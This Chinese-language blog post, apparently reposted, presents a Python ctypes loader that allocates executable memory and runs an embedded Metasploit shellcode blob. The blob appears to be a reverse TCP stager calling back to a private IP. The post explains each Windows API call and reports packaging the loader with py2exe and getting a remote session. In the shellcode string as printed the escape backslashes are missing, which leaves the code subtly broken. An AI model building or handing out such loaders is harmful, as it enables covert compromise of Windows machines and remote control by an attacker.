先贴代码
import ctypes#shellcode加载
def shellCodeLoad(shellcode):ctypes.windll.stype = ctypes.c_uint64ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))if __name__ == "__main__":shellCodeLoad(bytearray(b'xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50x52x48x31xd2x51x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x56x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x0fx85x72x00x00x00x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x8bx48x18x50x44x8bx40x20x49x01xd0xe3x56x4dx31xc9x48xffxc9x41x8bx34x88x48x01xd6x48x31xc0x41xc1xc9x0dxacx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00x49x89xe5x49xbcx02x00x22xc3xc0xa8x9fx94x41x54x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4cx89xeax68x01x01x00x00x59x41xbax29x80x6bx00xffxd5x6ax0ax41x5ex50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99xa5x74x61xffxd5x85xc0x74x0ax49xffxcex75xe5xe8x93x00x00x00x48x83xecx10x48x89xe2x4dx31xc9x6ax04x41x58x48x89xf9x41xbax02xd9xc8x5fxffxd5x83xf8x00x7ex55x48x83xc4x20x5ex89xf6x6ax40x41x59x68x00x10x00x00x41x58x48x89xf2x48x31xc9x41xbax58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68x00x40x00x00x41x58x6ax00x5ax41xbax0bx2fx0fx30xffxd5x57x59x41xbax75x6ex4dx61xffxd5x49xffxcexe9x3cxffxffxffx48x01xc3x48x29xc6x48x85xf6x75xb4x41xffxe7x58x6ax00x59x49xc7xc2xf0xb5xa2x56xffxd5'))
ctypes库
python的ctypes模块是内建,用来调用系统动态链接库函数的模块
使用ctypes库可以很方便地调用C语言的动态链接库,并可以向其传递参数。
设置返回类型
我们需要用到VirtualAlloc来申请内存,返回类型必须和我们系统的位数一样
默认32位
ctypes.windll.stype = ctypes.c_uint64
申请内存
调用Virtualalloc来申请内存。
VirtualAlloc是一个Windows API函数,该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。包含在windows系统文件Kernel32.dll中
简单点的意思就是申请内存空间
VirtualAlloc函数原型和参数如下:
LPVOID VirtualAlloc{
LPVOID lpAddress, //要分配的内存区域的地址
DWORD dwSize, //分配的大小
DWORD flAllocationType, //分配的类型
DWORD flProtect //该内存的初始保护属性
};
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
ctypes.c_int(0) | 是NULL,系统将会决定分配内存区域的位置,并且按64KB向上取整 |
---|---|
ctypes.c_int(len(shellcode)) | 以字节为单位分配或者保留多大区域 |
ctypes.c_int(0x3000) | 是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000)类型的合并 |
ctypes.c_int(0x40) | 是权限为PAGE_EXECUTE_READWRITE 该区域可以执行代码,应用程序可以读写该区域。 |
将shellcode载入内存
调用RtlMoveMemory函数,这个函数是从指定内存中复制内容到另一个内存里
RtlMoveMemory函数原型和参数如下:
RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。
从指定内存地址将内容复制到我们申请的内存中去,shellcode字节多大就复制多大
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf,ctypes.c_int(len(shellcode)))
创建进程
调用CreateThread将在主线程的基础上创建一个新线程
CreateThread函数原型和参数如下:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//线程安全属性
SIZE_T dwStackSize, //置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress, //指向线程函数的指针
LPVOID lpParameter, //向线程函数传递的参数
DWORD dwCreationFlags, //线程创建属性
LPDWORD lpThreadId //保存新线程的id
)
创建一个线程从shellcode放置位置开始执行
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
lpThreadAttributes | 为NULL使用默认安全性 |
---|---|
dwStackSize | 为0,默认将使用与调用该函数的线程相同的栈空间大小 |
lpStartAddress | 为ctypes.c_uint64(ptr),定位到申请的内存所在的位置 |
lpParameter | 不需传递参数时为NULL |
dwCreationFlags | 属性为0,表示创建后立即激活 |
lpThreadId | 为ctypes.pointer(ctypes.c_int(0))不想返回线程ID,设置值为NULL |
等待进程结束
调用WaitForSingleObject函数用来检测线程的状态
WaitForSingleObject是一种Windows API函数。当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限。
这里两个参数,一个是创建的线程,一个是等待时间
当线程退出时会给出一个信号,函数收到后会结束程序。
当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。
正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束。
WaitForSingleObject函数原型和参数如下:
DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle, #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds #定时时间间隔
);
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
后面入口函数里面那一堆是msf shellcode
使用py2exe打包后运行
成功上线
总结
总的来说就是 首先申请一块内存,将shellcode存入该内存,然后运行该内存储存的程序,并让该程序一直运行下去。
本文发布于:2024-01-27 20:48:21,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/17063597032547.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |